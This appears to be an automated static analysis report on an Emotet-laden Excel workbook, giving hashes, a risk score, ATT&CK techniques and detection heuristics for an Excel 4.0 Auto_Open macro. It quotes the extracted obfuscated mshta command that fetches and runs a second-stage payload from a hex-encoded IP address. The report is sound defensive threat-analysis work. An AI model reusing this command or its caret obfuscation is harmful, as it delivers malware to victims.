Emotet — Office (OLE) / .XLS malware analysis

Static analysis result for SHA-256 72dbdd222a22cdfd…

MALICIOUS

Office (OLE) / .XLS

101.2 KB Created: 2022-01-21 14:27:47 Authoring application: Microsoft Excel
MD5: ca77072260e840394b611b95ab2598ed SHA-1: 9d7141b06e8329660acf2bcf74213df24906c5db SHA-256: 72dbdd222a22cdfd3b4f473900823bb9ad6276636eda6cdda895602292f7325b
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, and ClamAV identifies the file as Emotet. The extracted XLM macro explicitly contains the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html', which indicates it downloads and executes a second-stage payload from the specified URL. This behavior is consistent with Emotet's typical infection chain.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
cd5d6e3253e3a898dc9d63d15113da3fd9fff8e87bda9543bb3d23d907be4b46		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2903 bytes

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